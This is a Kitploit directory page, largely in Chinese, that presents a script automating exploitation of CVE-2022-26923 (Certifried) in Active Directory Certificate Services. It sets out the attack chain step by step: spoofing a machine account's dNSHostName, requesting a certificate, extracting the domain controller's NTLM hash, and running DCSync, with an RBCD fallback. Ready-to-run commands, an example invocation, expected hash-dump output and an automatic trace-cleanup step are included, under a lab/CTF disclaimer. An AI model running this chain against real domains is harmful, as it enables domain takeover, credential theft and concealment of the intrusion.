Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-26923 — Automated CVE-2022-26923 Exploitation (Certifried) | Kitploit
工具/GitHubGitHub/nefhara/cve-2022-26923
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Automated CVE-2022-26923 Exploitation (Certifried)

2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2022-26923 – Certifried 漏洞利用(AD CS 滥用)

自动化利用 CVE-2022-26923 (Certifried),通过滥用 Active Directory 证书服务(AD CS)实现权限提升,并自动回退到基于资源的约束委派(RBCD),最终转储域管理员账户的 NTLM 哈希。

⚠️ 仅供教育用途 / 实验室 / CTF

请勿在未经授权的环境中使用。


🎯 描述

此脚本自动化执行以下攻击链:

方法 1 — 经典(CVE 直接利用)

  1. 创建一个受控的机器账户(使用随机名称以避免冲突)
  2. 伪造 dNSHostName 属性,使其与域控制器匹配
  3. 通过 AD CS 请求机器证书
  4. 使用该证书进行身份验证 → 通过 PKINIT 提取域控制器的 NTLM 哈希
  5. 使用域控制器哈希,通过 secretsdump.py 执行 DCSync 攻击

方法 2 — 回退(RBCD)(如果方法 1 失败则自动启用)

  1. 将 PFX 转换为 PEM,以便与 bloodyAD 配合使用
  2. 在域控制器上配置基于资源的约束委派(RBCD)
  3. 通过 impacket-addspn 向被入侵的机器账户添加 SPN
  4. 使用 getST.py 请求 S4U2Self + S4U2Proxy 票据
  5. 使用 Kerberos 票据通过 secretsdump.py 转储 NTLM 哈希

🔗 漏洞

  • CVE-2022-26923 – “Certifried” — CVSS 8.8(高危)
  • 影响运行 AD CS 的 Active Directory 环境
  • 允许低权限用户通过篡改 dNSHostName 属性来冒充域控制器,从而使证书颁发机构(CA)为域控制器账户签发证书

🛠 使用的工具


📦 依赖安装

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 使用方法

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

可用选项

root@kitploit:~
-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 示例(HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

提示: 在运行之前,请通过以下命令确定确切的 CA 名称和模板:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

然后相应地更新脚本默认值中的 CA_NAME 和 TEMPLATE。


🔥 预期输出

根据环境的不同,两条路径之一将会成功:

方法 1(经典):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

方法 2(RBCD 回退):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

OPSEC 清理会在结束时(或按 Ctrl+C 时)自动运行:

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 内部攻击流程

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 已知问题与故障排除


⚠️ 免责声明

本项目仅供以下用途:

  • 教育和研究目的
  • 个人实验室环境
  • CTF / HackTheBox / 夺旗赛挑战
  • 经授权的渗透测试项目(需书面批准)

作者对任何未经授权或非法使用本工具的行为不承担任何责任。

下载工具
工具用途
certipy-ad账户创建/更新、证书请求、PKINIT 身份验证
bloodyADRBCD 属性篡改(回退方案)
impacket-addspn在机器账户上添加 SPN(回退方案)
impacket-getSTS4U2Self + S4U2Proxy 票据请求(回退方案)
impacket-secretsdumpDCSync / NTLM 哈希转储
opensslPFX → PEM 转换(回退方案)
症状原因修复
NETBIOS connection timed outHTB 上 AD CS RPC 延迟自动处理(5 次重试)
KDC_ERR_BADOPTION(getST 时)COMP$ 上缺少 SPN脚本现在会在 getST 之前使用 impacket-addspn
KDC_ERR_WRONG_REALM(secretsdump 时)SPN 错误(LDAP vs cifs)脚本在 getST 中使用 cifs/ SPN
Clock skew too greatKerberos 时间偏差运行前执行 sudo ntpdate <DC_IP>
机器账户删除失败AD 权限不足(正常情况)脚本通过 `
使用 certipy-ad 时出现 unrecognized arguments语法不正确(旧的 certipy 格式)脚本使用显式参数 -u/-p/-target-ip